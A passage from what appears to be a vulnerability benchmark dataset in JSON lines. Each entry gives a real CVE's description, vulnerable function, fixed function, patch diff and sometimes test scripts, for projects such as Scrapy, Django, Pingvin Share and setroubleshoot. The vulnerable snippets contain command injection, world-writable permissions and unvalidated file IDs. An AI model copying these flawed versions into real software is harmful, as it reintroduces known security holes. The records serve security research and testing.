password_validation.validate_password(\n                        confirmation, self.instance)\n            else:\n                self.add_error(\"oldpassword\", _(\"This field is required.\"))\n        elif newpassword or confirmation:\n            if not confirmation:\n                self.add_error(\"confirmation\", _(\"This field is required.\"))\n            else:\n                self.add_error(\"newpassword\", _(\"This field is required.\"))\n        return self.cleaned_data"}], "vul_patch": "--- a/modoboa/core/forms.py\n+++ b/modoboa/core/forms.py\n@@ -14,4 +14,9 @@\n                         confirmation, self.instance)\n             else:\n                 self.add_error(\"oldpassword\", _(\"This field is required.\"))\n+        elif newpassword or confirmation:\n+            if not confirmation:\n+                self.add_error(\"confirmation\", _(\"This field is required.\"))\n+            else:\n+                self.add_error(\"newpassword\", _(\"This field is required.\"))\n         return self.cleaned_data\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-22137", "cve_description": "Pingvin Share is a self-hosted file sharing platform and an alternative for WeTransfer. This vulnerability allows an authenticated or unauthenticated (if anonymous shares are allowed) user to overwrite arbitrary files on the server, including sensitive system files, via HTTP POST requests. The issue has been patched in version 1.4.0.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/stonith404/pingvin-share", "patch_url": ["https://github.com/stonith404/pingvin-share/commit/6cf5c66fe2eda1e0a525edf7440d047fe2f0e35b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_230_1", "commit": "51478b6", "file_path": "backend/src/file/file.service.ts", "start_line": 25, "end_line": 114, "snippet": "  async create(\n    data: string,\n    chunk: { index: number; total: number },\n    file: { id?: string; name: string },\n    shareId: string,\n  ) {\n    if (!file.id) file.id = crypto.randomUUID();\n\n    const share = await this.prisma.share.findUnique({\n      where: { id: shareId },\n      include: { files: true, reverseShare: true },\n    });\n\n    if (share.uploadLocked)\n      throw new BadRequestException(\"Share is already completed\");\n\n    let diskFileSize: number;\n    try {\n      diskFileSize = fs.statSync(\n        `${SHARE_DIRECTORY}/${shareId}/${file.id}.tmp-chunk`,\n      ).size;\n    } catch {\n      diskFileSize = 0;\n    }\n\n    // If the sent chunk index and the expected chunk index doesn't match throw an error\n    const chunkSize = this.config.get(\"share.chunkSize\");\n    const expectedChunkIndex = Math.ceil(diskFileSize / chunkSize);\n\n    if (expectedChunkIndex != chunk.index)\n      throw new BadRequestException({\n        message: \"Unexpected chunk received\",\n        error: \"unexpected_chunk_index\",\n        expectedChunkIndex,\n      });\n\n    const buffer = Buffer.from(data, \"base64\");\n\n    // Check if there is enough space on the server\n    const space = await fs.promises.statfs(SHARE_DIRECTORY);\n    const availableSpace = space.bavail * space.bsize;\n    if (availableSpace < buffer.byteLength) {\n      throw new InternalServerErrorException(\"Not enough space on the server\");\n    }\n\n    // Check if share size limit is exceeded\n    const fileSizeSum = share.files.reduce(\n      (n, { size }) => n + parseInt(size),\n      0,\n    );\n\n    const shareSizeSum = fileSizeSum + diskFileSize + buffer.byteLength;\n\n    if (\n      shareSizeSum > this.config.get(\"share.maxSize\") ||\n      (share.reverseShare?.maxShareSize &&\n        shareSizeSum > parseInt(share.reverseShare.maxShareSize))\n    ) {\n      throw new HttpException(\n        \"Max share size exceeded\",\n        HttpStatus.PAYLOAD_TOO_LARGE,\n      );\n    }\n\n    fs.appendFileSync(\n      `${SHARE_DIRECTORY}/${shareId}/${file.id}.tmp-chunk`,\n      buffer,\n    );\n\n    const isLastChunk = chunk.index == chunk.total - 1;\n    if (isLastChunk) {\n      fs.renameSync(\n        `${SHARE_DIRECTORY}/${shareId}/${file.id}.tmp-chunk`,\n        `${SHARE_DIRECTORY}/${shareId}/${file.id}`,\n      );\n      const fileSize = fs.statSync(\n        `${SHARE_DIRECTORY}/${shareId}/${file.id}`,\n      ).size;\n      await this.prisma.file.create({\n        data: {\n          id: file.id,\n          name: file.name,\n          size: fileSize.toString(),\n          share: { connect: { id: shareId } },\n        },\n      });\n    }\n\n    return file;\n  }"}], "fix_func": [{"id": "fix_js_230_1", "commit": "6cf5c66fe2eda1e0a525edf7440d047fe2f0e35b", "file_path": "backend/src/file/file.service.ts", "start_line": 26, "end_line": 119, "snippet": "  async create(\n    data: string,\n    chunk: { index: number; total: number },\n    file: { id?: string; name: string },\n    shareId: string,\n  ) {\n    if (!file.id) {\n      file.id = crypto.randomUUID();\n    } else if (!isValidUUID(file.id)) {\n      throw new BadRequestException(\"Invalid file ID format\");\n    }\n\n    const share = await this.prisma.share.findUnique({\n      where: { id: shareId },\n      include: { files: true, reverseShare: true },\n    });\n\n    if (share.uploadLocked)\n      throw new BadRequestException(\"Share is already completed\");\n\n    let diskFileSize: number;\n    try {\n      diskFileSize = fs.statSync(\n        `${SHARE_DIRECTORY}/${shareId}/${file.id}.tmp-chunk`,\n      ).size;\n    } catch {\n      diskFileSize = 0;\n    }\n\n    // If the sent chunk index and the expected chunk index doesn't match throw an error\n    const chunkSize = this.config.get(\"share.chunkSize\");\n    const expectedChunkIndex = Math.ceil(diskFileSize / chunkSize);\n\n    if (expectedChunkIndex != chunk.index)\n      throw new BadRequestException({\n        message: \"Unexpected chunk received\",\n        error: \"unexpected_chunk_index\",\n        expectedChunkIndex,\n      });\n\n    const buffer = Buffer.from(data, \"base64\");\n\n    // Check if there is enough space on the server\n    const space = await fs.promises.statfs(SHARE_DIRECTORY);\n    const availableSpace = space.bavail * space.bsize;\n    if (availableSpace < buffer.byteLength) {\n      throw new InternalServerErrorException(\"Not enough space on the server\");\n    }\n\n    // Check if share size limit is exceeded\n    const fileSizeSum = share.files.reduce(\n      (n, { size }) => n + parseInt(size),\n      0,\n    );\n\n    const shareSizeSum = fileSizeSum + diskFileSize + buffer.byteLength;\n\n    if (\n      shareSizeSum > this.config.get(\"share.maxSize\") ||\n      (share.reverseShare?.maxShareSize &&\n        shareSizeSum > parseInt(share.reverseShare.maxShareSize))\n    ) {\n      throw new HttpException(\n        \"Max share size exceeded\",\n        HttpStatus.PAYLOAD_TOO_LARGE,\n      );\n    }\n\n    fs.appendFileSync(\n      `${SHARE_DIRECTORY}/${shareId}/${file.id}.tmp-chunk`,\n      buffer,\n    );\n\n    const isLastChunk = chunk.index == chunk.total - 1;\n    if (isLastChunk) {\n      fs.renameSync(\n        `${SHARE_DIRECTORY}/${shareId}/${file.id}.tmp-chunk`,\n        `${SHARE_DIRECTORY}/${shareId}/${file.id}`,\n      );\n      const fileSize = fs.statSync(\n        `${SHARE_DIRECTORY}/${shareId}/${file.id}`,\n      ).size;\n      await this.prisma.file.create({\n        data: {\n          id: file.id,\n          name: file.name,\n          size: fileSize.toString(),\n          share: { connect: { id: shareId } },\n        },\n      });\n    }\n\n    return file;\n  }"}], "vul_patch": "--- a/backend/src/file/file.service.ts\n+++ b/backend/src/file/file.service.ts\n@@ -4,7 +4,11 @@\n     file: { id?: string; name: string },\n     shareId: string,\n   ) {\n-    if (!file.id) file.id = crypto.randomUUID();\n+    if (!file.id) {\n+      file.id = crypto.randomUUID();\n+    } else if (!isValidUUID(file.id)) {\n+      throw new BadRequestException(\"Invalid file ID format\");\n+    }\n \n     const share = await this.prisma.share.findUnique({\n       where: { id: shareId },\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-41125", "cve_description": "Scrapy is a high-level web crawling and scraping framework for Python. If you use `HttpAuthMiddleware` (i.e. the `http_user` and `http_pass` spider attributes) for HTTP authentication, all requests will expose your credentials to the request target. This includes requests generated by Scrapy components, such as `robots.txt` requests sent by Scrapy when the `ROBOTSTXT_OBEY` setting is set to `True`, or as requests reached through redirects. Upgrade to Scrapy 2.5.1 and use the new `http_auth_domain` spider attribute to control which domains are allowed to receive the configured HTTP authentication credentials. If you are using Scrapy 1.8 or a lower version, and upgrading to Scrapy 2.5.1 is not an option, you may upgrade to Scrapy 1.8.1 instead. If you cannot upgrade, set your HTTP authentication credentials on a per-request basis, using for example the `w3lib.http.basic_auth_header` function to convert your credentials into a value that you can assign to the `Authorization` header of your request, instead of defining your credentials globally using `HttpAuthMiddleware`.", "cwe_info": {"CWE-522": {"name": "Insufficiently Protected Credentials", "description": "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval."}}, "repo": "https://github.com/scrapy/scrapy", "patch_url": ["https://github.com/scrapy/scrapy/commit/b01d69a1bf48060daec8f751368622352d8b85a6"], "programing_language": "Python", "vul_func": [{"id": "vul_py_50_1", "commit": "4183925", "file_path": "scrapy/downloadermiddlewares/httpauth.py", "start_line": 22, "end_line": 26, "snippet": "    def spider_opened(self, spider):\n        usr = getattr(spider, 'http_user', '')\n        pwd = getattr(spider, 'http_pass', '')\n        if usr or pwd:\n            self.auth = basic_auth_header(usr, pwd)"}, {"id": "vul_py_50_2", "commit": "4183925", "file_path": "scrapy/downloadermiddlewares/httpauth.py", "start_line": 28, "end_line": 31, "snippet": "    def process_request(self, request, spider):\n        auth = getattr(self, 'auth', None)\n        if auth and b'Authorization' not in request.headers:\n            request.headers[b'Authorization'] = auth"}], "fix_func": [{"id": "fix_py_50_1", "commit": "b01d69a1bf48060daec8f751368622352d8b85a6", "file_path": "scrapy/downloadermiddlewares/httpauth.py", "start_line": 26, "end_line": 40, "snippet": "    def spider_opened(self, spider):\n        usr = getattr(spider, 'http_user', '')\n        pwd = getattr(spider, 'http_pass', '')\n        if usr or pwd:\n            self.auth = basic_auth_header(usr, pwd)\n            if not hasattr(spider, 'http_auth_domain'):\n                warnings.warn('Using HttpAuthMiddleware without http_auth_domain is deprecated and can cause security '\n                              'problems if the spider makes requests to several different domains. http_auth_domain '\n                              'will be set to the domain of the first request, please set it to the correct value '\n                              'explicitly.',\n                              category=ScrapyDeprecationWarning)\n                self.domain_unset = True\n            else:\n                self.domain = spider.http_auth_domain\n                self.domain_unset = False"}, {"id": "fix_py_50_2", "commit": "b01d69a1bf48060daec8f751368622352d8b85a6", "file_path": "scrapy/downloadermiddlewares/httpauth.py", "start_line": 42, "end_line": 50, "snippet": "    def process_request(self, request, spider):\n        auth = getattr(self, 'auth', None)\n        if auth and b'Authorization' not in request.headers:\n            domain = urlparse_cached(request).hostname\n            if self.domain_unset:\n                self.domain = domain\n                self.domain_unset = False\n            if not self.domain or url_is_from_any_domain(request.url, [self.domain]):\n                request.headers[b'Authorization'] = auth"}], "vul_patch": "--- a/scrapy/downloadermiddlewares/httpauth.py\n+++ b/scrapy/downloadermiddlewares/httpauth.py\n@@ -3,3 +3,13 @@\n         pwd = getattr(spider, 'http_pass', '')\n         if usr or pwd:\n             self.auth = basic_auth_header(usr, pwd)\n+            if not hasattr(spider, 'http_auth_domain'):\n+                warnings.warn('Using HttpAuthMiddleware without http_auth_domain is deprecated and can cause security '\n+                              'problems if the spider makes requests to several different domains. http_auth_domain '\n+                              'will be set to the domain of the first request, please set it to the correct value '\n+                              'explicitly.',\n+                              category=ScrapyDeprecationWarning)\n+                self.domain_unset = True\n+            else:\n+                self.domain = spider.http_auth_domain\n+                self.domain_unset = False\n\n--- a/scrapy/downloadermiddlewares/httpauth.py\n+++ b/scrapy/downloadermiddlewares/httpauth.py\n@@ -1,4 +1,9 @@\n     def process_request(self, request, spider):\n         auth = getattr(self, 'auth', None)\n         if auth and b'Authorization' not in request.headers:\n-            request.headers[b'Authorization'] = auth\n+            domain = urlparse_cached(request).hostname\n+            if self.domain_unset:\n+                self.domain = domain\n+                self.domain_unset = False\n+            if not self.domain or url_is_from_any_domain(request.url, [self.domain]):\n+                request.headers[b'Authorization'] = auth\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-41125:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/scrapy\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2021-41125/bin/python -m pytest tests/test_downloadermiddleware_httpauth.py -k \"HttpAuthMiddlewareLegacyTest or HttpAuthAnyMiddlewareTest or test_no_auth or test_auth_domain or test_auth_subdomain\" -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-41125:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/scrapy\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2021-41125/bin/python -m pytest tests/test_downloadermiddleware_httpauth.py -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2015-8213", "cve_description": "The get_format function in utils/formats.py in Django before 1.7.x before 1.7.11, 1.8.x before 1.8.7, and 1.9.x before 1.9rc2 might allow remote attackers to obtain sensitive application secrets via a settings key in place of a date/time format setting, as demonstrated by SECRET_KEY.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/316bc3fc9437c5960c24baceb93c73f1939711e4"], "programing_language": "Python", "vul_func": [{"id": "vul_py_12_1", "commit": "710e11d", "file_path": "django/utils/formats.py", "start_line": 85, "end_line": 120, "snippet": "def get_format(format_type, lang=None, use_l10n=None):\n    \"\"\"\n    For a specific format type, returns the format for the current\n    language (locale), defaults to the format in the settings.\n    format_type is the name of the format, e.g. 'DATE_FORMAT'\n\n    If use_l10n is provided and is not None, that will force the value to\n    be localized (or not), overriding the value of settings.USE_L10N.\n    \"\"\"\n    format_type = force_str(format_type)\n    if use_l10n or (use_l10n is None and settings.USE_L10N):\n        if lang is None:\n            lang = get_language()\n        cache_key = (format_type, lang)\n        try:\n            cached = _format_cache[cache_key]\n            if cached is not None:\n                return cached\n            else:\n                # Return the general setting by default\n                return getattr(settings, format_type)\n        except KeyError:\n            for module in get_format_modules(lang):\n                try:\n                    val = getattr(module, format_type)\n                    for iso_input in ISO_INPUT_FORMATS.get(format_type, ()):\n                        if iso_input not in val:\n                            if isinstance(val, tuple):\n                                val = list(val)\n                            val.append(iso_input)\n                    _format_cache[cache_key] = val\n                    return val\n                except AttributeError:\n                    pass\n            _format_cache[cache_key] = None\n    return getattr(settings, format_type)"}], "fix_func": [{"id": "fix_py_12_1", "commit": "316bc3fc9437c5960c24baceb93c73f1939711e4", "file_path": "django/utils/formats.py", "start_line": 103, "end_line": 140, "snippet": "def get_format(format_type, lang=None, use_l10n=None):\n    \"\"\"\n    For a specific format type, returns the format for the current\n    language (locale), defaults to the format in the settings.\n    format_type is the name of the format, e.g. 'DATE_FORMAT'\n\n    If use_l10n is provided and is not None, that will force the value to\n    be localized (or not), overriding the value of settings.USE_L10N.\n    \"\"\"\n    format_type = force_str(format_type)\n    if format_type not in FORMAT_SETTINGS:\n        return format_type\n    if use_l10n or (use_l10n is None and settings.USE_L10N):\n        if lang is None:\n            lang = get_language()\n        cache_key = (format_type, lang)\n        try:\n            cached = _format_cache[cache_key]\n            if cached is not None:\n                return cached\n            else:\n                # Return the general setting by default\n                return getattr(settings, format_type)\n        except KeyError:\n            for module in get_format_modules(lang):\n                try:\n                    val = getattr(module, format_type)\n                    for iso_input in ISO_INPUT_FORMATS.get(format_type, ()):\n                        if iso_input not in val:\n                            if isinstance(val, tuple):\n                                val = list(val)\n                            val.append(iso_input)\n                    _format_cache[cache_key] = val\n                    return val\n                except AttributeError:\n                    pass\n            _format_cache[cache_key] = None\n    return getattr(settings, format_type)"}, {"id": "fix_py_12_2", "commit": "316bc3fc9437c5960c24baceb93c73f1939711e4", "file_path": "django/utils/formats.py", "start_line": 33, "end_line": 50, "snippet": "FORMAT_SETTINGS = frozenset([\n    'DECIMAL_SEPARATOR',\n    'THOUSAND_SEPARATOR',\n    'NUMBER_GROUPING',\n    'FIRST_DAY_OF_WEEK',\n    'MONTH_DAY_FORMAT',\n    'TIME_FORMAT',\n    'DATE_FORMAT',\n    'DATETIME_FORMAT',\n    'SHORT_DATE_FORMAT',\n    'SHORT_DATETIME_FORMAT',\n    'YEAR_MONTH_FORMAT',\n    'DATE_INPUT_FORMATS',\n    'TIME_INPUT_FORMATS',\n    'DATETIME_INPUT_FORMATS',\n])\n\n"}], "vul_patch": "--- a/django/utils/formats.py\n+++ b/django/utils/formats.py\n@@ -8,6 +8,8 @@\n     be localized (or not), overriding the value of settings.USE_L10N.\n     \"\"\"\n     format_type = force_str(format_type)\n+    if format_type not in FORMAT_SETTINGS:\n+        return format_type\n     if use_l10n or (use_l10n is None and settings.USE_L10N):\n         if lang is None:\n             lang = get_language()\n\n--- /dev/null\n+++ b/django/utils/formats.py\n@@ -0,0 +1,17 @@\n+FORMAT_SETTINGS = frozenset([\n+    'DECIMAL_SEPARATOR',\n+    'THOUSAND_SEPARATOR',\n+    'NUMBER_GROUPING',\n+    'FIRST_DAY_OF_WEEK',\n+    'MONTH_DAY_FORMAT',\n+    'TIME_FORMAT',\n+    'DATE_FORMAT',\n+    'DATETIME_FORMAT',\n+    'SHORT_DATE_FORMAT',\n+    'SHORT_DATETIME_FORMAT',\n+    'YEAR_MONTH_FORMAT',\n+    'DATE_INPUT_FORMATS',\n+    'TIME_INPUT_FORMATS',\n+    'DATETIME_INPUT_FORMATS',\n+])\n+\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2015-8213:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2015-8213/bin/python ./runtests.py i18n.tests.FormattingTests.test_format_arbitrary_settings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2015-8213:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2015-8213/bin/python ./runtests.py i18n.tests\n"}
{"cve_id": "CVE-2023-23939", "cve_description": "Azure/setup-kubectl is a GitHub Action for installing Kubectl. This vulnerability only impacts versions before version 3. An insecure temporary creation of a file allows other actors on the Actions runner to replace the Kubectl binary created by this action because it is world writable. This Kubectl tool installer runs `fs.chmodSync(kubectlPath, 777)` to set permissions on the Kubectl binary, however, this allows any local user to replace the Kubectl binary. This allows privilege escalation to the user that can also run kubectl, most likely root. This attack is only possible if an attacker somehow breached the GitHub actions runner or if a user is utilizing an Action that maliciously executes this attack. This has been fixed and released in all versions `v3` and later. 775 permissions are used instead. Users are advised to upgrade. There are no known workarounds for this issue.\n", "cwe_info": {"CWE-732": {"name": "Incorrect Permission Assignment for Critical Resource", "description": "The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors."}}, "repo": "https://github.com/Azure/setup-kubectl", "patch_url": ["https://github.com/Azure/setup-kubectl/commit/d449d75495d2b9d1463555bb00ca3dca77a42ab6"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_222_1", "commit": "3866693", "file_path": "src/run.ts", "start_line": 41, "end_line": 62, "snippet": "export async function downloadKubectl(version: string): Promise<string> {\n    let cachedToolpath = toolCache.find(kubectlToolName, version);\n    let kubectlDownloadPath = '';\n    const arch = getKubectlArch();\n    if (!cachedToolpath) {\n        try {\n            kubectlDownloadPath = await toolCache.downloadTool(getkubectlDownloadURL(version, arch));\n        } catch (exception) {\n            if (exception instanceof toolCache.HTTPError && exception.httpStatusCode === 404) {\n                throw new Error(util.format(\"Kubectl '%s' for '%s' arch not found.\", version, arch));\n            } else {\n                throw new Error('DownloadKubectlFailed');\n            }\n        }\n\n        cachedToolpath = await toolCache.cacheFile(kubectlDownloadPath, kubectlToolName + getExecutableExtension(), kubectlToolName, version);\n    }\n\n    const kubectlPath = path.join(cachedToolpath, kubectlToolName + getExecutableExtension());\n    fs.chmodSync(kubectlPath, '777');\n    return kubectlPath;\n}"}], "fix_func": [{"id": "fix_js_222_1", "commit": "d449d75495d2b9d1463555bb00ca3dca77a42ab6", "file_path": "src/run.ts", "start_line": 41, "end_line": 62, "snippet": "export async function downloadKubectl(version: string): Promise<string> {\n    let cachedToolpath = toolCache.find(kubectlToolName, version);\n    let kubectlDownloadPath = '';\n    const arch = getKubectlArch();\n    if (!cachedToolpath) {\n        try {\n            kubectlDownloadPath = await toolCache.downloadTool(getkubectlDownloadURL(version, arch));\n        } catch (exception) {\n            if (exception instanceof toolCache.HTTPError && exception.httpStatusCode === 404) {\n                throw new Error(util.format(\"Kubectl '%s' for '%s' arch not found.\", version, arch));\n            } else {\n                throw new Error('DownloadKubectlFailed');\n            }\n        }\n\n        cachedToolpath = await toolCache.cacheFile(kubectlDownloadPath, kubectlToolName + getExecutableExtension(), kubectlToolName, version);\n    }\n\n    const kubectlPath = path.join(cachedToolpath, kubectlToolName + getExecutableExtension());\n    fs.chmodSync(kubectlPath, '775');\n    return kubectlPath;\n}"}], "vul_patch": "--- a/src/run.ts\n+++ b/src/run.ts\n@@ -17,6 +17,6 @@\n     }\n \n     const kubectlPath = path.join(cachedToolpath, kubectlToolName + getExecutableExtension());\n-    fs.chmodSync(kubectlPath, '777');\n+    fs.chmodSync(kubectlPath, '775');\n     return kubectlPath;\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-4445", "cve_description": "The fix_lookup_id function in sealert in setroubleshoot before 3.2.23 allows local users to execute arbitrary commands as root by triggering an SELinux denial with a crafted file name, related to executing external commands with the commands.getstatusoutput function.", "cwe_info": {"CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}}, "repo": "https://github.com/fedora-selinux/setroubleshoot", "patch_url": ["https://github.com/fedora-selinux/setroubleshoot/commit/2d12677629ca319310f6263688bb1b7f676c01b7"], "programing_language": "Python", "vul_func": [{"id": "vul_py_269_1", "commit": "e83aa2e", "file_path": "framework/src/sealert", "start_line": 143, "end_line": 163, "snippet": "    def query_alerts_callback(sigs):\n        import commands\n        for siginfo in sigs.signature_list:\n            for plugin  in siginfo.plugin_list:\n                if analysis_id == plugin.analysis_id:\n                    p = load_plugins(analysis_id)[0]\n                    if p.fixable == False:\n                        print _(\"Not fixable.\")\n                        cl.main_loop.quit()\n                        return\n                    siginfo.update_derived_template_substitutions()\n                    command = siginfo.substitute(p.get_fix_cmd(siginfo.audit_event, plugin.args))\n                    rc, output = commands.getstatusoutput(command)\n                    if rc == 0:\n                        print _(\"Successfully ran %s\" % command)\n                    else:\n                        print output\n                    cl.main_loop.quit()\n                    return\n        print _(\"Plugin %s not valid for %s id\") % (analysis_id, local_id)\n        cl.main_loop.quit()"}], "fix_func": [{"id": "fix_py_269_1", "commit": "2d12677", "file_path": "framework/src/sealert", "start_line": 143, "end_line": 163, "snippet": "    def query_alerts_callback(sigs):\n        import subprocess\n        for siginfo in sigs.signature_list:\n            for plugin  in siginfo.plugin_list:\n                if analysis_id == plugin.analysis_id:\n                    p = load_plugins(analysis_id)[0]\n                    if p.fixable == False:\n                        print _(\"Not fixable.\")\n                        cl.main_loop.quit()\n                        return\n                    siginfo.update_derived_template_substitutions()\n                    command = siginfo.substitute_array(p.get_fix_cmd(siginfo.audit_event, plugin.args).split())\n                    try:\n                        output = subprocess.check_output(command)\n                        print _(\"Successfully ran %s\" % ' '.join(command))\n                    except subprocess.CalledProcessError as e:\n                        print(e.output)\n                    cl.main_loop.quit()\n                    return\n        print _(\"Plugin %s not valid for %s id\") % (analysis_id, local_id)\n        cl.main_loop.quit()"}, {"id": "fix_py_269_2", "commit": "2d12677", "file_path": "framework/src/setroubleshoot/signature.py", "start_line": 463, "end_line": 464, "snippet": "    def substitute_array(self, args):\n        return [self.substitute(txt) for txt in args]"}], "vul_patch": "--- a/framework/src/sealert\n+++ b/framework/src/sealert\n@@ -1,5 +1,5 @@\n     def query_alerts_callback(sigs):\n-        import commands\n+        import subprocess\n         for siginfo in sigs.signature_list:\n             for plugin  in siginfo.plugin_list:\n                 if analysis_id == plugin.analysis_id:\n@@ -9,12 +9,12 @@\n                         cl.main_loop.quit()\n                         return\n                     siginfo.update_derived_template_substitutions()\n-                    command = siginfo.substitute(p.get_fix_cmd(siginfo.audit_event, plugin.args))\n-                    rc, output = commands.getstatusoutput(command)\n-                    if rc == 0:\n-                        print _(\"Successfully ran %s\" % command)\n-                    else:\n-                        print output\n+                    command = siginfo.substitute_array(p.get_fix_cmd(siginfo.audit_event, plugin.args).split())\n+                    try:\n+                        output = subprocess.check_output(command)\n+                        print _(\"Successfully ran %s\" % ' '.join(command))\n+                    except subprocess.CalledProcessError as e:\n+                        print(e.output)\n                     cl.main_loop.quit()\n                     return\n         print _(\"Plugin %s not valid for %s id\") % (analysis_id, local_id)\n\n--- /dev/null\n+++ b/framework/src/sealert\n@@ -0,0 +1,2 @@\n+    def substitute_array(self, args):\n+        return [self.substitute(txt) for txt in args]\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-18367", "cve_description": "libseccomp-golang 0.9.0 and earlier incorrectly generates BPFs that OR multiple arguments rather than ANDing them. A process running under a restrictive seccomp filter that specified multiple syscall arguments could bypass intended access restrictions by specifying a single matching argument.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/seccomp/libseccomp-golang", "patch_url": ["https://github.com/seccomp/libseccomp-golang/commit/06e7a29f36a34b8cf419aeb87b979ee508e58f9e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_216_1", "commit": "fc02980", "file_path": "seccomp_internal.go", "start_line": 242, "end_line": 266, "snippet": "func (f *ScmpFilter) addRuleWrapper(call ScmpSyscall, action ScmpAction, exact bool, cond C.scmp_cast_t) error {\n\tvar length C.uint\n\tif cond != nil {\n\t\tlength = 1\n\t} else {\n\t\tlength = 0\n\t}\n\n\tvar retCode C.int\n\tif exact {\n\t\tretCode = C.seccomp_rule_add_exact_array(f.filterCtx, action.toNative(), C.int(call), length, cond)\n\t} else {\n\t\tretCode = C.seccomp_rule_add_array(f.filterCtx, action.toNative(), C.int(call), length, cond)\n\t}\n\n\tif syscall.Errno(-1*retCode) == syscall.EFAULT {\n\t\treturn fmt.Errorf(\"unrecognized syscall\")\n\t} else if syscall.Errno(-1*retCode) == syscall.EPERM {\n\t\treturn fmt.Errorf(\"requested action matches default action of filter\")\n\t} else if retCode != 0 {\n\t\treturn syscall.Errno(-1 * retCode)\n\t}\n\n\treturn nil\n}"}, {"id": "vul_go_216_2", "commit": "fc02980", "file_path": "seccomp_internal.go", "start_line": 269, "end_line": 301, "snippet": "func (f *ScmpFilter) addRuleGeneric(call ScmpSyscall, action ScmpAction, exact bool, conds []ScmpCondition) error {\n\tf.lock.Lock()\n\tdefer f.lock.Unlock()\n\n\tif !f.valid {\n\t\treturn errBadFilter\n\t}\n\n\tif len(conds) == 0 {\n\t\tif err := f.addRuleWrapper(call, action, exact, nil); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\t// We don't support conditional filtering in library version v2.1\n\t\tif !checkVersionAbove(2, 2, 1) {\n\t\t\treturn VersionError{\n\t\t\t\tmessage: \"conditional filtering is not supported\",\n\t\t\t\tminimum: \"2.2.1\",\n\t\t\t}\n\t\t}\n\n\t\tfor _, cond := range conds {\n\t\t\tcmpStruct := C.make_struct_arg_cmp(C.uint(cond.Argument), cond.Op.toNative(), C.uint64_t(cond.Operand1), C.uint64_t(cond.Operand2))\n\t\t\tdefer C.free(cmpStruct)\n\n\t\t\tif err := f.addRuleWrapper(call, action, exact, C.scmp_cast_t(cmpStruct)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}"}, {"id": "vul_go_216_3", "commit": "fc02980", "file_path": "seccomp_internal.go", "start_line": 123, "end_line": 139, "snippet": "// Wrapper to create an scmp_arg_cmp struct\nvoid*\nmake_struct_arg_cmp(\n                    unsigned int arg,\n                    int compare,\n                    uint64_t a,\n                    uint64_t b\n                   )\n{\n\tstruct scmp_arg_cmp *s = malloc(sizeof(struct scmp_arg_cmp));\n\n\ts->arg = arg;\n\ts->op = compare;\n\ts->datum_a = a;\n\ts->datum_b = b;\n\n\treturn s;"}], "fix_func": [{"id": "fix_go_216_1", "commit": "06e7a29f36a34b8cf419aeb87b979ee508e58f9e", "file_path": "seccomp_internal.go", "start_line": 246, "end_line": 269, "snippet": "func (f *ScmpFilter) addRuleWrapper(call ScmpSyscall, action ScmpAction, exact bool, length C.uint, cond C.scmp_cast_t) error {\n\tif length != 0 && cond == nil {\n\t\treturn fmt.Errorf(\"null conditions list, but length is nonzero\")\n\t}\n\n\tvar retCode C.int\n\tif exact {\n\t\tretCode = C.seccomp_rule_add_exact_array(f.filterCtx, action.toNative(), C.int(call), length, cond)\n\t} else {\n\t\tretCode = C.seccomp_rule_add_array(f.filterCtx, action.toNative(), C.int(call), length, cond)\n\t}\n\n\tif syscall.Errno(-1*retCode) == syscall.EFAULT {\n\t\treturn fmt.Errorf(\"unrecognized syscall\")\n\t} else if syscall.Errno(-1*retCode) == syscall.EPERM {\n\t\treturn fmt.Errorf(\"requested action matches default action of filter\")\n\t} else if syscall.Errno(-1*retCode) == syscall.EINVAL {\n\t\treturn fmt.Errorf(\"two checks on same syscall argument\")\n\t} else if retCode != 0 {\n\t\treturn syscall.Errno(-1 * retCode)\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_216_2", "commit": "06e7a29f36a34b8cf419aeb87b979ee508e58f9e", "file_path": "seccomp_internal.go", "start_line": 272, "end_line": 311, "snippet": "func (f *ScmpFilter) addRuleGeneric(call ScmpSyscall, action 